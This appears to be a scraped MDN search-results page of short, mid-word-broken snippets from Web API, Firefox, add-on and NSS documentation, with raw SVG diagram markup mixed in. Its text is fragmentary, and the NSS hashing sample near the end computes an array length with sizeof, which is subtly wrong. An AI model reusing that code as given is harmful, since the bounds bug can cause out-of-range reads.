chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablesectionelement" target="_top"><rect x="261" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="...
...And 5 more matches
HTMLTrackElement - Web APIs
this element can be used as a
child of either <audio> or <video> to specify a text track containing information su
ch as closed captions or subtitles.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...And 5 more matches
History.pushState() - Web APIs
syntax history.pushstate(state, title[, url]) parameters state the state object is a javascript object whi
ch is associated with the new history entry created by pushstate().
...because firefox saves state objects to the user's disk so they can be restored after the user restarts the browser, we impose a size limit of 640k
characters on the serialized representation of a state object.
...passing the empty string here should be safe against future
changes to the method.
...And 5 more matches
IDBCursor.delete() - Web APIs
the delete() method of the idbcursor interface returns an idbrequest object, and, in a separate thread, deletes the record at the cursor's position, without
changing the cursor's position.
...for su
ch needs, you have to use idbindex.opencursor() instead.
... syntax myidbcursor.delete(); returns an idbrequest object on whi
ch subsequent events related to this operation are fired.
...And 5 more matches
PaymentResponse.shippingOption - Web APIs
syntax var shippingoption = paymentrequest.shippingoption; example in the example below, the paymentrequest.onshippingaoption
change event is called.
...var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingoption
change', function(evt) { evt.updatewith(new promise(function(resolve, reject) { updatedetails(details, request.shippingoption, resolve, reject); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of brevity.
... }).cat
ch(function(err) { console.error("uh oh, something bad happened", err.message); }); function updatedetails(details, shippingoption, resolve, reject) { var selectedshippingoption; var othershippingoption; if (shippingoption === 'standard') { selectedshippingoption = details.shippingoptions[0]; othershippingoption = details.shippingoptions[1]; details.total.amount.value = '55.00'; } else if (shippingoption === 'express') { selectedshippingoption = details.shippingoptions[1]; othershippingoption = details.shippingoptions[0]; details.total.amount.value = '67.00'; } else { reject('unknown shipping option \'' + shippingoption + '\''); return; } selectedshippingoption.selected = true; othershippingoption.selected = false; details.displayit...
...And 5 more matches
RTCErrorEvent.error - Web APIs
the read-only rtcerrorevent property error contains an rtcerror object describing the details of the error whi
ch the event is announcing.
... syntax let errorinfo = rtcerrorevent.error; value an rtcerror object whose properties provide details about the error whi
ch has occurred in the context of a webrtc operation.
... receivedalert read only an unsigned long integer value indicating the fatal dtls error whi
ch was received from the network.
...And 5 more matches
RTCIceCandidate.usernameFragment - Web APIs
the string may be up to 256
characters long, and has no default value.
...the specifics for whi
ch bits are random and what the remainder of the ufrag text are are left up to the browser implementation to decide.
... for example, a browser might
choose to always use a 24-
character ufrag in whi
ch bit 4 of ea
ch character is randomly selected between 0 and 1.
...And 5 more matches
RTCIceTransport.getSelectedCandidatePair() - Web APIs
the rtcicetransport method getselectedcandidatepair() returns an rtcicecandidatepair object containing the current best-
choice pair of ice candidates describing the configuration of the endpoints of the transport.
... usage notes as the ice agent performs negotiation of a rtcpeerconnection, it gathers and analyzes candidate configurations from ea
ch the two peers.
... as soon as it finds an acceptable mat
ching pair of candidates, meeting the requirements for the connection, a selectedcandidatepair
change event is fired at the rtcicetransport.
...And 5 more matches
RTCPeerConnection.setConfiguration() - Web APIs
this lets you
change the ice servers used by the connection and whi
ch transport policies to use.
...two potential scenarios in whi
ch this might be done: the rtcpeerconnection was instantiated without specifying any ice servers.
...in this situation, one might call setconfiguration() to swit
ch to new regional ice servers, then initiate an ice restart.
...And 5 more matches
RTCPeerConnection.signalingState - Web APIs
because the signaling process is a state ma
chine, being able to verify that your code is in the expected state when messages arrive can help avoid unexpected and avoidable failures.
...your code will be more reliable if you wat
ch for mismat
ched states like this and handle them gracefully.
... in addition, when the value of this property
changes, a signalingstate
change event is sent to the rtcpeerconnection instance.
...And 5 more matches
RTCRtpTransceiver.setCodecPreferences() - Web APIs
the rtcrtptransceiver method setcodecpreferences() configures the transceiver's codecs given a list of rtcrtpcodeccapability objects specifying the new preferences for ea
ch codec.
... when preparing to open an rtcpeerconnection, you can
change the codec parameters from the user agent's default configuration by calling setcodecparameters() before calling either rtcpeerconnection.createoffer() or createanswer().
... a guide to codecs supported by webrtc—and ea
ch codec's positive and negative
characteristics—can be found in codecs used by webrtc.
...And 5 more matches
ReadableStreamDefaultReader.cancel() - Web APIs
the supplied reason argument will be given to the underlying source, whi
ch may or may not use it.
... cancel is used when you've completely finished with the stream and don't need any more data from it, even if there are
chunks enqueued waiting to be read.
...to read those
chunks still and not completely get rid of the stream, you'd use readablestreamdefaultcontroller.close().
...And 5 more matches
ResizeObserver - Web APIs
the resizeobserver interface reports
changes to the dimensions of an element's content or border box, or the bounding box of an svgelement.
... note: the content box is the box in whi
ch content can be placed, meaning the border box minus the padding and border width.
... examples in the resize-observer-text.html (see source) example, we use the resize observer to
change the font-size of a header and paragraph as a slider’s value is
changed causing the containing <div> to
change width.
...And 5 more matches
Response.redirected - Web APIs
the read-only redirected property of the response interface indicates whether or not the response is the result of a request you made whi
ch was redirected.
...instead, you should actually instead do the filtering when you call fet
ch().
... see the example disallowing redirects, whi
ch shows this being done.
...And 5 more matches
SVGImageElement.decoding - Web APIs
possible values are: sync: decode the image syn
chronously for atomic presentation with other content.
... async: decode the image asyn
chronously to reduce delay in presenting other content.
... auto: default mode, whi
ch indicates no preference for the decoding mode.
...And 5 more matches
SVGLength - Web APIs
an svglength object can be designated as read only, whi
ch means that attempts to modify the object will result in an exception being thrown.
...cifiedunits + ", valueasstring: " + val.valueasstring); // set x = 20pt and read it out in pixel and pt units val.newvaluespecifiedunits(svglength.svg_lengthtype_pt, 20); console.log("value: " + val.value + ", valueinspecifiedunits " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); // convert x = 20pt to in
ches and read out in pixel and in
ch units val.converttospecifiedunits(svglength.svg_lengthtype_in); console.log("value: " + val.value + ", valueinspecifiedunits " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); } ]]></script> <rect id="myrect" x="1cm" y="1cm" fill="green" stroke="black" stroke-width="1" ...
...it is invalid to attempt to define a new value of this type or to attempt to swit
ch an existing value to this type.
...And 5 more matches
SVGPathElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 5 more matches
SVGPreserveAspectRatio - Web APIs
svg preserveaspectratio interface the svgpreserveaspectratio interface corresponds to the preserveaspectratio attribute, whi
ch is available for some of svg's elements.
... an svgpreserveaspectratio object can be designated as read only, whi
ch means that attempts to modify the object will result in an exception being thrown.
...it is invalid to attempt to define a new value of this type or to attempt to swit
ch an existing value to this type.
...And 5 more matches
Screen Orientation API - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetscreenorientation
chrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support nowebview android full support 38
chrome android full support 38firefox android full support 43opera an...
...droid full support 25safari ios no support nosamsung internet android full support 3.0angle
chrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support nowebview android full support 38
chrome android full support 38firefox android f...
...And 5 more matches
Client-side web APIs - Learn web development
note: if you are working on a device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program su
ch as jsbin or glit
ch.
... fet
ching data from the server another very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entirely new page.
... in this article, we'll explain the concept, and look at te
chnologies that make it possible, su
ch as xmlhttprequest and the fet
ch api.
...And 4 more matches
Introducing JavaScript objects - Learn web development
here we tea
ch object theory and syntax in detail, then look at how to create your own objects.
... note: if you are working on a computer/tablet/other devices where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program su
ch as jsbin or glit
ch.
... object prototypes prototypes are the me
chanism by whi
ch javascript objects inherit features from one another, and they work differently to inheritance me
chanisms in classical object-oriented programming languages.
...And 4 more matches
JavaScript — Dynamic client-side scripting - Learn web development
get started prerequisites javascript is arguably more difficult to learn than related te
chnologies su
ch as html and css.
... before attempting to learn javascript, you are strongly advised to get familiar with at least these two te
chnologies first, and perhaps others as well.
... javascript first steps in our first javascript module, we first answer some fundamental questions su
ch as "what is javascript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing javascript.
...And 4 more matches
Multimedia: video - Learn web development
prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web te
chnologies.
... objective: to learn about the various video formats, their impact on performance, and how to reduce video impact on overall page load time while serving the smallest video file size based on ea
ch browsers file type support.
...the sections below describe ea
ch of these optimization te
chniques.
...And 4 more matches
Tools and testing - Learn web development
once you've started to become comfortable programming with core web te
chnologies (like html, css, and javascript), and you start to get more experience, read more resources, and learn more tips and tricks, you'll start to come across all kind of tools, from javascript frameworks, to testing and automation tools, and more besides.
... as your web projects become larger and more complex, you'll want to start taking advantage of some of these tools, working out a reliable tool
chain to give your development process superpowers.
... in addition, you should start with the first module in this topic, whi
ch gives a useful overview of the general area.
...And 4 more matches
omni.ja (formerly omni.jar)
firefox and thunderbird a
chieve performance improvements by moving many of their internal parts from being standalone files or sets of jar files into just one jar file called omni.ja; this reduces the amount of i/o needed to load the application.
... this article covers the contents of the ar
chive and te
chniques for inspecting those contents.
...this
change was needed to prevent firefox from becoming corrupted.
...And 4 more matches
Information for users
> help contents f1 > accessibility features) whi
ch describe any special features and keyboard shortcuts designed to help users with disabilities.
... please
check the accessibility help topic for more information.
...features include assistive te
chnology support on windows (like window-eyes, jaws, etc.), firefox keyboard support, available accessibility extensions like fire vox and other extensions.
...And 4 more matches
Index
the content you add to a listing is therefore vital: from making effective use of keywords in your descriptions, to get visibility in external sear
ch engine results, through having an icon that attracts a user’s attention from a category list, to screenshots that show how useful your add-on is.
...this signing process takes place through addons.mozilla.org (amo), whether you
choose to distribute your add-on through amo or to do it yourself.
... 680 resources for publishers add-ons, extensions, distribution, publication now your add-on is published on amo,
check out the following resources: 681 retiring your extension extensions, webextension, end-of-life, publication there may be occasions where you want to retire one of your extensions.
...And 4 more matches
Frequently Asked Questions for Lightweight themes
lightweight themes are easy-to-install, easy-to-use skins that
change the look of your firefox web browser.
... there are hundreds of thousands community-designed themes to
choose from, with more added every day.
... lightweight themes
change the header area of your browser, including the tab text color and the background tab colors.
...And 4 more matches
Debugging JavaScript
it should give pointers to tools, aids and tricks whi
ch make debugging your code easier.
...to enable it, go to about:config in the url bar and set devtools.
chrome.enabled to true, or set the "enable
chrome and add-on debugging" option in the developer tool settings.
... you can also start the browser console when you laun
ch firefox, by laun
ching firefox from the command line and passing --jsconsole as a flag: /path/to/firefox --jsconsole log to the browser console using the standard console api after importing console.jsm: let console = (cu.import("resource://gre/modules/console.jsm", {})).console; console.log("hello from firefox code"); error console this is obsolete and is no longer enabled in firefox by default.
...And 4 more matches
Debugging
fortunately, over the years, mozilla developers have come up with not just te
chnologies and features to help you debug code, but have devised tips and te
chniques that can help too.
... advanced debugging te
chniques understanding crash reports how to read crash reports, whi
ch are full of information yet often not easy to interpret and act on.
... debugging a minidump windows crash reports include a minidump, whi
ch contains a lot of information about the application when it crashed.
...And 4 more matches
Working with Mozilla source code
the articles below will help you get your hands on the mozilla source code, learn to navigate the code, and how to get the
changes you propose
checked into the tree.
... getting a pre-configured mozilla build system virtual ma
chine this is the easiest way to get started: use a virtualbox virtual ma
chine whi
ch is already configured with a complete build environment for you to use.
... viewing and sear
ching mozilla source code online learn how to use sear
chfox, mozilla's online sear
ch and browsing tool for accessing the source code.
...And 4 more matches
Index
3 building firefox with rust code build documentation, gecko, build, rust in may 2015 the rust programming language rea
ched its 1.0 stability milestone, and various experiments with writing parts of gecko in rust began.
... 10 firefox ui considerations for web developers activity stream, firefox, icons, mozilla, new tab, newtab, ui, web, web development, favicon there are a number of places within the firefox user interface where web sites are listed for the user to
choose a destination to visit or a site to manage in some way.
... one example is the new tab page, whi
ch includes a "top sites" section showing sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space.
...And 4 more matches
Tracking Protection
sometimes users won’t notice at all, if the page grid works su
ch that other page elements slide in to fill holes left by blocked elements.
... you will also be able to disable tracking protection entirely if you
choose by accessing the tracking settings.
... if tracking cookies were present, you would be able to view the list by clicking on "blocking tracking cookies" in the above image to view the following popup: you can click "manage content blocking" to
change the blocking settings: how does firefox
choose what to block?
...And 4 more matches
Firefox
with broad compatibility, the latest in web te
chnologies, and powerful development tools, firefox is a great
choice for both web developers and end users.
... firefox is an open source project; mu
ch of the code is contributed by our huge community of volunteers.
...the most useful is the url about:config, whi
ch displays preferences and settings that can be inspected and
changed.firefox ui considerations for web developersthere are a number of places within the firefox user interface where web sites are listed for the user to
choose a destination to visit or a site to manage in some way.
...And 4 more matches
HTMLIFrameElement.findAll()
the findall() method of the htmliframeelement sear
ches for a string in a browser <iframe>'s text content; if found, the first instance of the string relative to the caret position will be highlighted.
... invoking this method results in a mozbrowserfind
change event firing, whi
ch carries details about the sear
ch results.
... syntax instanceofhtmliframeelement.findall(sear
chstring, casesensitivity); returns void.
...And 4 more matches
MozBeforePaint
gecko 2.0 adds a new method for performing javascript controlled animations that syn
chronize not only with one another, but also with css transitions and smil animations being performed within the same window.
... usage outline in order to time your animation, the first thing you need to know is the time base; that is, the time at whi
ch your animation sequence started.
...this new property indicates the time, in milliseconds since epo
ch, at whi
ch all animations started in the specified window during the current refresh interval should be considered to have started running.
...And 4 more matches
How to get a stacktrace for a bug report
this article describes how to use the mozilla crash reporter (breakpad) to get a crash id, whi
ch our engineers can use to get a stacktrace, and alternative ways to get a stacktrace if you can't get a crash id.
...if you have any additional information about the crash, su
ch as additional detail on what you were doing at the time that may have triggered the crash, please enter it into the comments box.
... be sure that you
check the "tell mozilla about this crash"
checkbox and click the restart button.
...And 4 more matches
Addon
the interface can represent many different kinds of add-ons and as su
ch, some of the methods and properties are considered "required" and others "optional," whi
ch means that the optional methods or property may not exist on addon instances for some types of add-ons.
...for some add-ons this will
change immediately based on the appdisabled and userdisabled properties; for others it will only
change after an application restart.
... averagerating read only number reviewcount read only integer reviewurl read only string totaldownloads read only integer weeklydownloads read only integer dailyusers read only integer repositorystatus read only integer callbacks datadirectorycallback() a callback whi
ch is passed a directory path, and, when an error has occured, an error object.
...And 4 more matches
DownloadList
the returned array does not
change when downloads are added or removed, though the download objects it contains are still updated in real time.
... note: when a download is added to the list, its on
change event is registered by the list, thus it cannot be used to monitor the download.
... to receive
change notifications for downloads that are added to the list, use the addview() method to register for ondownload
changed notifications.
...And 4 more matches
Http.jsm
headers or post data are given as an array of arrays, for ea
ch inner array the first value is the key and the second is the value.
... submitting post data httprequest allows atta
ching data to the post requests.
...when null/undefined is given, no post data will be atta
ched.
...And 4 more matches
Webapps.jsm
the webapps.jsm modules exposes the domapplicationregistry, whi
ch is responsible for managing all of the open web apps.
...overview init: function() loadcurrentregistry: function() notifyappsregistrystart: function notifyappsregistrystart() notifyappsregistryready: function notifyappsregistryready() sanitizeredirects: function sanitizeredirects(asource) _savewidgetsfullpath: function(amanifest, adestapp) appkind: function(aapp, amanifest) updatepermissionsforapp: function(aid, aispreinstalled) updateofflineca
cheforapp: function(aid) installpreinstalledapp: function installpreinstalledapp(aid) removeifhttpsduplicate: function(aid) installsystemapps: function() loadandupdateapps: function() updatedatastore: function(aid, aorigin, amanifesturl, amanifest) _registersystemmessagesforentrypoint: function(amanifest, aapp, aentrypoint) _registerinterappconnectionsforentrypoint: function(amanifest, aapp,)...
...astmessage: function broadcastmessage(amsgname, acontent) registerupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, azippath) _getappdir: function(aid) _writefile: function(apath, adata) dogetlist: function() doexport: function(amsg, amm) doimport: function(amsg, amm) doextractmanifest: function(amsg, amm) dolaun
ch: function (adata, amm) laun
ch: function laun
ch(amanifesturl, astartpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifesturl, aerror) startofflineca
chedownload: function(amanifest, aapp, aprofiledir, aisupdate) computemanifesthash: function(amanifest) updateapphandlers: function(aoldmanifest, anewmanifest, aapp)
checkforupda...
...And 4 more matches
Mozilla Framework Based on Templates (MFBT)
it also attempts to define its functionality in well-named files, su
ch that simply skimming the contents of mfbt/ will quickly suggest the relevant header to examine.
...feel free to file a documentation bug if you think this approa
ch could be improved, and feel free to make improvements to this document if you see them.
...
checkedint.h implements
checked integers.
...And 4 more matches
Basics
with mathml, one can build sets su
ch as (go on, right-click any of these equations to experiment the zoom) { 0 , 1 , 2 , 3 , 4 } or { ⌊ a b ⌋ | a 2 + b 2 ≤ 3 } , write calculus d y d x = 1 y 2 , form rather complicated expressions lim n → n ( 1 + 1 n ) n − e n , k = ∂ 2 z ∂ x 2 ∂ 2 z ∂ y 2 - ( ∂ 2 z ∂ x ∂ y ) 2 ( 1 ...
...you can also make displayed equations, su
ch as the following ones: x → maps to y = f n ( x ) = ( 1 + 1 x n ) n ∫ a b f ( x ) d x = b - a 6 [ f ( a ) + 4 f ( a + b 2 ) + f ( b ) ] - ( b - a ) 5 4 !
... f ( 4 ) ( η ) , a ≤ η ≤ b | x | = { - x if x < 0 x otherwise you can also typeset 2d mathematical constructs su
ch as matrices.
...And 4 more matches
Measuring performance using the PerfMeasurement.jsm code module
note: the perfmeasurement.jsm javascript code module can only be used from
chrome -- that is, from within the application itself or an add-on.
...you give the constructor a bit-mask of events you're interested in; see note: at present, perfmeasurement.jsm is only functional on linux, but it is planned to add support for windows (bug 583322) and osx (bug 583323) as well, and we welcome pat
ches for other operating systems.
... for instance, let's measure instructions executed, ca
che references, and ca
che misses: let monitor = new perfmeasurement(perfmeasurement.cpu_cycles | perfmeasurement.ca
che_references | perfmeasurement.ca
che_misses); this creates a new perfmeasurement object, configured to record the specified event types.
...And 4 more matches
tools/power/rapl
these are ma
chine-wide estimates, so if you want to estimate the power consumption of a single program you should minimize other activity on the ma
chine while measuring.
...note that if you do
change this file, its contents may reset when the ma
chine is next rebooted.
... the first line indicates the meaning of ea
ch column.
...And 4 more matches
Creating a Cookie Log
change to your firefox directory (usually c:\program files\mozilla firefox) type "set nspr_log_file=c:\temp\cookie-log.txt", enter type "set nspr_log_modules=cookie:4" and press enter run firefox by typing "firefox.exe" and pressing enter.
...
change to the installation directory for firefox.
... run firefox by typing "./firefox" and pressing enter mac os x open terminal.app, whi
ch is located in the /applications/utilities folder (these instructions are for bash, the default shell in mac os x 10.3 and higher; if you use something else, you probably know how to modify these instructions already).
...And 4 more matches
PR_Open
syntax #include <prio.h> prfiledesc* pr_open( const
char *name, printn flags, printn mode); parameters the function has the following parameters: name the pathname of the file to be opened.
...if the flags parameter does not include any of the first three flags (pr_rdonly, pr_wronly, or pr_rdwr), the open file can't be read or written, whi
ch is not useful.
... pr_append 0x10 the file pointer is set to the end of the file prior to ea
ch write.
...And 4 more matches
FIPS Mode - an explanation
if you're a us government worker, and you want to use a mozilla software product su
ch as firefox, or any product that uses nss, you will want to use it in a way that is fully conformant with all the relevant fips regulations.
... to that end, mozilla products can function in a "fips mode", whi
ch is really "fips 140 mode", when paired with a compliant copy of nss.
... it must implement the us government standard algorithms (also specified in other fips documents) su
ch as aes, triple-des, sha-1 and sha-256, that are needed to do whatever job the application wants it to perform.
...And 4 more matches
Introduction to Network Security Services
for information on whi
ch static libraries in nss 3.1.1 are replaced by ea
ch of the above shared libraries in nss 3.2 , see migration from nss 3.1.1.
... figure 1, below, shows a simplified view of the relationships among the three shared libraries listed above and nspr, whi
ch provides low-level cross platform support for operations su
ch as threading and i/o.
...the two libraries exist to provide optimal performance on ea
ch of the two types of cpus.
...And 4 more matches
NSS Key Log Format
note: starting with nss 3.24 (used by firefox 48 and 49 only), the sslkeylogfile approa
ch is disabled by default for optimized builds using the makefile (those using gyp via build.sh are not affected).
... distributors can re-enable it at compile time though (using the nss_allow_sslkeylogfile=1 make variable) whi
ch is done for the official firefox binaries.
...comment lines begin with a sharp
character ('#') and are ignored.
...And 4 more matches
NSS_3.12.1_release_notes.html
nss 3.12.1 release notes 2008-09-05 newsgroup: mozilla.dev.te
ch.crypto contents introduction distribution information new in nss 3.12.1 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12.1 is a pat
ch release for nss 3.12.
...the tar.gz or zip file expands to an nss-3.12.1 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, whi
ch nss 3.12.1 requires.
...caller
chooses encoding rules.
...And 4 more matches
NSS_3.12.2_release_notes.html
nss 3.12.2 release notes 2008-10-20 newsgroup: mozilla.dev.te
ch.crypto contents introduction distribution information new in nss 3.12.2 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12.2 is a pat
ch release for nss 3.12.
...the tar.gz or zip file expands to an nss-3.12.2 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin< - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, whi
ch nss 3.12.2 requires.
... new in nss 3.12.2 new functions in the nss shared library: sec_pkcs12addcertor
chainandkey (see p12.h) new pkcs11 errors (see secerr.h) sec_error_pkcs11_general_error sec_error_pkcs11_function_failed sec_error_pkcs11_device_error bugs fixed the following bugs have been fixed in nss 3.12.2.
...And 4 more matches
NSS 3.12.5 release_notes
nss 3.12.5 release notes 2009-12-02 newsgroup: mozilla.dev.te
ch.crypto introduction network security services (nss) 3.12.5 is a pat
ch release for nss 3.12.
... you can
check out the source from cvs by cvs co -r nspr_4_8_rtm nspr cvs co -r nss_3_12_5_rtm nss see the documentation section for the build instructions.
...this will cause programs that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until su
ch time as a new safe renegotiation s
cheme is standardized by the ietf.
...And 4 more matches
NSS 3.16.1 release notes
introduction network security services (nss) 3.16.1 is a pat
ch release for nss 3.16.
... in secmod.h secmod_internaltopubme
chflags - converts from nss-internal to public representation of me
chanism flags.
... new types in sslt.h ssl_padding_xtn - the value of this enum constant
changed from the experimental value 35655 to the iana-assigned value 21.
...And 4 more matches
NSS 3.46 release notes
introduction the nss team has released network security services (nss) 3.46 on 30 august 2019, whi
ch is a minor release.
... notable
changes in nss 3.46 certificate authority
changes the following ca certificates were removed: bug 1574670 - remove expired class 2 primary root certificate sha-256 fingerprint: 0f993c8aef97baaf5687140ed59ad1821bb4afacf0aa9a58b5d57a338a3afbcb bug 1574670 - remove expired utn-userfirst-client root certificate sha-256 fingerprint: 43f257412d440d627476974f877d...
...a8f1fc2444565a367ae60eddc27a412531ae bug 1574670 - remove expired deuts
che telekom root ca 2 root certificate sha-256 fingerprint: b6191a50d0c3977f7da99bcdaac86a227daeb9679ec70ba3b0c9d92271c170d3 bug 1566569 - remove swisscom root ca 2 root certificate sha-256 fingerprint: f09b122c7114f4a09bd4ea4f4a99d558b46e4c25cd81140d29c05613914c3841 upcoming
changes to default tls configuration the next nss team plans to make two
changes to the default tls configuration in nss 3.47, whi
ch will be released in october: tls 1.3 will be the default maximum tls version.
...And 4 more matches
NSS Config Options
ormat the specified ciphers will be allowed by policy, but an application may allow more by policy explicitly: config="allow=curve1:curve2:hash1:hash2:rsa-1024..." only the specified hashes and curves will be allowed: config="disallow=all allow=sha1:sha256:secp256r1:secp384r1" only the specified hashes and curves will be allowed, and rsa keys of 2048 or more will be accepted, and dh key ex
change with 1024-bit primes or more: config="disallow=all allow=sha1:sha256:secp256r1:secp384r1:min-rsa=2048:min-dh=1024" a policy that enables the aes ciphersuites and the secp256/384 curves: config="allow=aes128-cbc:aes128-gcm::hmac-sha1:sha1:sha256:sha384:rsa:ecdhe-rsa:secp256r1:secp384r1" turn off md5 config="disallow=md5" turn off md5 and sha1 only for ssl config="disallow=md5(ssl):sha1(...
...ssl)" disallow values are parsed first, and then allow values, independent of the order in whi
ch they appear.
...flags: turn on the following flags: ssl-lock: turn off the ability for applications to
change policy with the ssl_setcipherpolicy (or ssl_setpolicy).
...And 4 more matches
Hashing - sample 1
*/ /* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <se
chash.h> #include <nss.h> typedef struct { const
char *hashname; secoidtag oid; } nametagpair; /* the hash algorithms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* * maps a hash name to a ...
... * returns null if the name if not a supported algorithm */ static secoidtag hashnametooidtag(const
char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printashex */ void printashex(prfiledesc* out, unsigned
